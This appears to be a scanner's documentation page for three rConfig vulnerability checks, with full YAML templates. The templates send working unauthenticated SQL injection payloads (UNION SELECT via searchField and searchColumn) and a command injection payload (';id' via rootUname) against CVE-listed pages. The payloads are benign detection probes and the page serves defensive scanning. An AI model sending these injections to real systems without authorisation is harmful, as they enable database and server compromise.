rConfig — 3 vulnerability checks
noctis ships 3 vulnerability checks for rConfig, covering 6 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
rConfig <= 3.9.4 Unauthenticated searchField SQL Injections (CVE-2020-10546/10547/10548/10549)
| CVE | CVE-2020-10546, CVE-2020-10547, CVE-2020-10548, CVE-2020-10549 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/rconfig/rconfig-search-sqli.yaml |
Tests rConfig for the unauthenticated SQL injections in the searchField parameter of compliancepolicies.inc.php, compliancepolicyelements.inc.php, devices.inc.php and snippets.inc.php. A benign UNION SELECT returns a random marker (sent hex-encoded) concatenated with the product of two random integers; its presence in the page proves the injected SQL ran. QoD 75.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{t.base}}/{{t.page}}?search=True&searchColumn={{t.col}}&searchOption=contains&search… - Parses / computes the next value with a Rhai script
- Checks
sqli_hitfor^noctis[A-Za-z0-9]+$→ finding QoD 75: SQL injection confirmed (…) — …/… searchField UNION SELECT returned "…" (hex-decoded marker + server-computed …*…)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-10546
- https://nvd.nist.gov/vuln/detail/CVE-2020-10547
- https://nvd.nist.gov/vuln/detail/CVE-2020-10548
- https://nvd.nist.gov/vuln/detail/CVE-2020-10549
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10546.yaml
Feed source — tests/vulnerabilities/rconfig/rconfig-search-sqli.yaml
# rConfig <= 3.9.4 unauthenticated searchField SQL injections —
# CVE-2020-10546 / CVE-2020-10547 / CVE-2020-10548 / CVE-2020-10549
#
# The `searchField` GET parameter of four list pages is concatenated into a
# MySQL `LIKE '%...%'` clause without escaping, unauthenticated:
# CVE-2020-10546 compliancepolicies.inc.php (3 result columns)
# CVE-2020-10547 compliancepolicyelements.inc.php (5 result columns)
# CVE-2020-10548 devices.inc.php (10 result columns)
# CVE-2020-10549 snippets.inc.php (4 result columns)
# A `' UNION SELECT ... -- ` closes the string and returns an attacker-chosen
# row, which the page renders.
#
# Ported from OpenVAS/Greenbone NVT 2020/rconfig/gb_rconfig_mult_vuln_jun20.nasl
# (OID 1.3.6.1.4.1.25623.1.0.144086, GPL-2.0-only): same four URLs, same
# parameters, same `antani' union select (select concat(...) limit 0,1),NULL…`
# injection with the NASL's column counts.
#
# Detection (active, benign — SELECT only, nothing written): the injected
# column is CONCAT(0x<hex(marker)>, A*B) with a random marker and two random
# integers drawn for this run. Only a MySQL server that ran our SQL can return
# `<marker><A*B>`: the marker is only sent hex-encoded and the product is not
# in the request at all. QoD 75.
#
# Beyond the NASL:
# - The NASL extracts database() and reports it; this feed extracts nothing
# (no data in evidence) and returns a server-computed value instead.
# - The NASL matches a fixed `[PWN]` hex literal; requiring server-side
# arithmetic on per-run random values rules out a page that hex-decodes
# or echoes request parameters.
# - The NASL only runs once its rConfig detection found the install path;
# this feed tries both the web root (default rConfig 3.x vhost) and the
# `/rconfig` sub-path, so it also works without a prior detection, and
# reports which of the four CVEs (page) was confirmed.
uid: 2b1fddfd-06b4-4dbd-98b7-c0b3db7c6876
name: "rConfig <= 3.9.4 Unauthenticated searchField SQL Injections (CVE-2020-10546/10547/10548/10549)"
description: |
Tests rConfig for the unauthenticated SQL injections in the searchField
parameter of compliancepolicies.inc.php, compliancepolicyelements.inc.php,
devices.inc.php and snippets.inc.php. A benign UNION SELECT returns a random
marker (sent hex-encoded) concatenated with the product of two random
integers; its presence in the page proves the injected SQL ran. QoD 75.
cves: [CVE-2020-10546, CVE-2020-10547, CVE-2020-10548, CVE-2020-10549]
cvss: 9.8
severity: critical
confidence_base: 0.20
tags: [rconfig, sqli, unauthenticated, intrusive]
category: sqli
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-10546"
- "https://nvd.nist.gov/vuln/detail/CVE-2020-10547"
- "https://nvd.nist.gov/vuln/detail/CVE-2020-10548"
- "https://nvd.nist.gov/vuln/detail/CVE-2020-10549"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10546.yaml"
steps:
# ── Per-run random values: marker (sent hex-encoded) + two factors ───────
- id: calc
action: script
code: |
let marker = "noctis" + rand_str(10);
let a = rand_int(1013, 9973);
let b = rand_int(1013, 9973);
#{ hex: toupper(hexstr(marker)), a: a, b: b, expected: marker + (a * b).to_string() }
store_as: sq
# ── Every step from here on runs once per (install path, page) ──────────
# Pre-initialise the stored result: a failed request leaves store_as unset,
# and the verify script would then abort the whole test.
- id: init-resp
action: set_var
var_name: sqli_resp
var_value: {status: 0, body: null}
loop:
var: t
over:
- {base: "", page: compliancepolicies.inc.php, col: policyName, nulls: ",NULL,NULL", cve: CVE-2020-10546}
- {base: "", page: compliancepolicyelements.inc.php, col: elementName, nulls: ",NULL,NULL,NULL,NULL", cve: CVE-2020-10547}
- {base: "", page: devices.inc.php, col: n.id, nulls: ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL", cve: CVE-2020-10548}
- {base: "", page: snippets.inc.php, col: snippetName, nulls: ",NULL,NULL,NULL", cve: CVE-2020-10549}
- {base: "/rconfig", page: compliancepolicies.inc.php, col: policyName, nulls: ",NULL,NULL", cve: CVE-2020-10546}
- {base: "/rconfig", page: compliancepolicyelements.inc.php, col: elementName, nulls: ",NULL,NULL,NULL,NULL", cve: CVE-2020-10547}
- {base: "/rconfig", page: devices.inc.php, col: n.id, nulls: ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL", cve: CVE-2020-10548}
- {base: "/rconfig", page: snippets.inc.php, col: snippetName, nulls: ",NULL,NULL,NULL", cve: CVE-2020-10549}
- id: inject
action: http_request
method: GET
path: "{{t.base}}/{{t.page}}?search=True&searchColumn={{t.col}}&searchOption=contains&searchField=antani%27+union+select+(select+concat(0x{{sq.hex}},{{sq.a}}*{{sq.b}})+limit+0,1){{t.nulls}}+--+"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: sqli_resp
# The page must contain the marker + product computed this run. Returns only
# that string (or "none"), so the evidence stays small and holds no DB data.
- id: verify
action: script
code: |
let hit = "none";
if sqli_resp.status == 200 && type_of(sqli_resp.body) == "string" {
if stridx(sqli_resp.body, sq.expected) >= 0 { hit = sq.expected; }
}
hit
store_as: sqli_hit
- id: report
action: match
source: sqli_hit
pattern: "^noctis[A-Za-z0-9]+$"
on_match:
finding:
confidence_delta: 0.65
qod: 75
evidence: "SQL injection confirmed ({{t.cve}}) — {{t.base}}/{{t.page}} searchField UNION SELECT returned \"{{sq.expected}}\" (hex-decoded marker + server-computed {{sq.a}}*{{sq.b}})"
stop: truerConfig ajaxServerSettingsChk.php Unauthenticated RCE
| CVE | CVE-2019-16662 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/rconfig/CVE-2019-16662.yaml |
Tests rConfig for unauthenticated command injection in install/lib/ajaxHandlers/ajaxServerSettingsChk.php via the rootUname parameter. A `;id` payload executes and the uid=/gid= output is reflected in the response, confirming RCE. QoD 97.
How noctis detects it
- HTTP(S) request
GET /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bid%20%23 - Checks
rce_resp.bodyforuid=\d+.*gid=\d+→ finding QoD 97: Unauthenticated RCE confirmed — rootUname injection executed `id`: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-16662
- https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16662-and-cve-2019-16663/
Feed source — tests/vulnerabilities/rconfig/CVE-2019-16662.yaml
# rConfig ajaxServerSettingsChk.php unauthenticated RCE — CVE-2019-16662
#
# The `rootUname` GET parameter of
# install/lib/ajaxHandlers/ajaxServerSettingsChk.php is concatenated into a
# shell command without sanitisation and executed unauthenticated, so `;<cmd>`
# yields command injection.
#
# Affected: rConfig <= 3.9.2.
#
# Detection (active, confirmed RCE): inject `;id` via the query string and read
# the command output (uid=/gid=) back in the response. The payload rides the
# query string, so http_request is safe. QoD 97.
uid: 5757f15b-b1e1-44d9-b4aa-c3842853e31d
name: "rConfig ajaxServerSettingsChk.php Unauthenticated RCE (CVE-2019-16662)"
description: |
Tests rConfig for unauthenticated command injection in
install/lib/ajaxHandlers/ajaxServerSettingsChk.php via the rootUname
parameter. A `;id` payload executes and the uid=/gid= output is reflected in
the response, confirming RCE. QoD 97.
cves: [CVE-2019-16662]
cvss: 9.8
severity: critical
confidence_base: 0.20
tags: [rconfig, command-injection, rce, unauthenticated]
category: rce
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-16662"
- "https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16662-and-cve-2019-16663/"
steps:
- id: inject
action: http_request
method: GET
path: "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bid%20%23"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_resp
- id: confirm
action: match
source: rce_resp.body
pattern: "uid=\\d+.*gid=\\d+"
condition: "rce_resp.status == 200"
on_match:
finding:
confidence_delta: 0.75
qod: 97
evidence: "Unauthenticated RCE confirmed — rootUname injection executed `id`: {{rce_resp.body}}"
stop: truerConfig commands.inc.php Unauthenticated SQL Injection
| CVE | CVE-2020-10220 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/rconfig/CVE-2020-10220.yaml |
Tests rConfig for the unauthenticated SQL injection in commands.inc.php via the searchColumn parameter. A benign UNION ALL SELECT returns a random marker (sent hex-encoded) concatenated with the product of two random integers; its reflection in an id="..." attribute proves the injected SQL ran. QoD 75.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{rconfig_base}}/commands.inc.php?searchOption=contains&searchField=vuln&search=searc… - Parses / computes the next value with a Rhai script
- Checks
sqli_hitfor^id="noctis[a-z0-9]+"$→ finding QoD 75: SQL injection confirmed — …/commands.inc.php searchColumn UNION SELECT returned id="…" (hex-decoded marker + server-computed …*…)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-10220
- https://github.com/arvind2022/isac_rconfig3.9
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10220.yaml
Feed source — tests/vulnerabilities/rconfig/CVE-2020-10220.yaml
# rConfig commands.inc.php unauthenticated SQL injection — CVE-2020-10220
#
# The `searchColumn` GET parameter of commands.inc.php is concatenated into the
# column list of a MySQL query without sanitisation, so a `UNION ALL SELECT`
# appended to it returns attacker-chosen rows, which the page renders as
# `id="<value>"` attributes. Unauthenticated.
#
# Affected: rConfig <= 3.9.4.
#
# Ported from OpenVAS/Greenbone NVT 2020/rconfig/gb_rconfig_sqli_vuln_mar20.nasl
# (OID 1.3.6.1.4.1.25623.1.0.113651, GPL-2.0-only): same URL and parameters,
# same `UNION ALL SELECT <expr>,NULL--` injection, same `id="<value>"` check.
#
# Detection (active, benign — SELECT only, nothing written or read from the
# database): the injected column is CONCAT(0x<hex(marker)>, A*B), with a random
# marker and two random integers computed for this run. Only a MySQL server
# that actually ran our SQL can return `id="<marker><A*B>"`: the marker never
# appears in clear in the request (it is hex-encoded) and the product is not in
# the request at all. QoD 75.
#
# Beyond the NASL:
# - The NASL reflects a single hex literal; this feed additionally requires
# server-side arithmetic, so a page that hex-decodes or echoes request
# parameters cannot produce a false positive.
# - The NASL only runs once its rConfig detection found the install path;
# this feed tries both the web root (default rConfig 3.x vhost) and the
# `/rconfig` sub-path, so it also works without a prior detection.
uid: f6231e9e-8566-413e-a3f6-323ef992673b
name: "rConfig commands.inc.php Unauthenticated SQL Injection (CVE-2020-10220)"
description: |
Tests rConfig for the unauthenticated SQL injection in commands.inc.php via
the searchColumn parameter. A benign UNION ALL SELECT returns a random marker
(sent hex-encoded) concatenated with the product of two random integers;
its reflection in an id="..." attribute proves the injected SQL ran. QoD 75.
cves: [CVE-2020-10220]
cvss: 9.8
severity: critical
confidence_base: 0.20
tags: [rconfig, sqli, unauthenticated, intrusive]
category: sqli
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-10220"
- "https://github.com/arvind2022/isac_rconfig3.9"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10220.yaml"
steps:
# ── Per-run random values: marker (sent hex-encoded) + two factors ───────
- id: calc
action: script
code: |
let marker = "noctis" + rand_str(10);
let a = rand_int(1013, 9973);
let b = rand_int(1013, 9973);
#{ hex: toupper(hexstr(marker)), a: a, b: b, expected: marker + (a * b).to_string() }
store_as: sq
# ── Every step from here on runs once per candidate install path ────────
# Pre-initialise the stored result: a failed request leaves store_as unset,
# and the verify script would then abort the whole test.
- id: init-resp
action: set_var
var_name: sqli_resp
var_value: {status: 0, body: null}
loop:
over: ["", "/rconfig"]
var: rconfig_base
- id: inject
action: http_request
method: GET
path: "{{rconfig_base}}/commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20CONCAT(0x{{sq.hex}},{{sq.a}}*{{sq.b}}),NULL--"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: sqli_resp
# The id="..." value must equal the marker + product we computed this run.
# Returns only that attribute (or "none"), so the evidence stays small.
- id: verify
action: script
code: |
let needle = "id=\"" + sq.expected + "\"";
let hit = "none";
if sqli_resp.status == 200 && type_of(sqli_resp.body) == "string" {
if stridx(sqli_resp.body, needle) >= 0 { hit = needle; }
}
hit
store_as: sqli_hit
- id: report
action: match
source: sqli_hit
pattern: "^id=\"noctis[a-z0-9]+\"$"
on_match:
finding:
confidence_delta: 0.65
qod: 75
evidence: "SQL injection confirmed — {{rconfig_base}}/commands.inc.php searchColumn UNION SELECT returned id=\"{{sq.expected}}\" (hex-decoded marker + server-computed {{sq.a}}*{{sq.b}})"
stop: true